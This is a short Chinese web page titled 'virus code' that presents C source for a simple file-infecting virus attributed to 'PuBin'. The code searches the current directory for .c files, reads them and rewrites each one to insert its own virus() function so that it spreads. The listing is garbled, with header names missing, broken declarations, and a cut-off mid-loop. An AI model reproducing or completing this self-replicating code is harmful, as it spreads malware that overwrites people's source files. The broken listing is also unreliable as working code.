病毒代码

病毒代码

这是一个比较简单的 ，勉强算是病毒代码。

#include

#include

void main(void)

{

virus();

}

int virus()

{

struct ffblk ffblk;

FILE *in,*out,*read;

char *virus="virus.c";

char buf;

char *p;

char *end="return";

char *bracket="}";

char *main="main";

char *include={"stdio.h","dir.h"};

char *int_virus="int virus()";

char *buffer;

int done,i,j=0,flag=0;

printf("\nI have a virus. Writen by PuBin\n");

done = findfirst("*.c",&ffblk,0);

while (!done)

{

i=0;

if ((in = fopen(ffblk.ff_name, "rt"))== NULL)

{

goto next;

}

do{

if(i>=50)

{

fclose(in);

goto next;

}

p=fgets(buf[i],80,in);

i++;

}while(p!=NULL);

fclose(in);

out=fopen(ffblk.ff_name,"w+t");

fputs("#include\n",out);

fputs("#include\n",out);

do

{

if(strstr(buf[j],main)!=NULL)

{

for(;j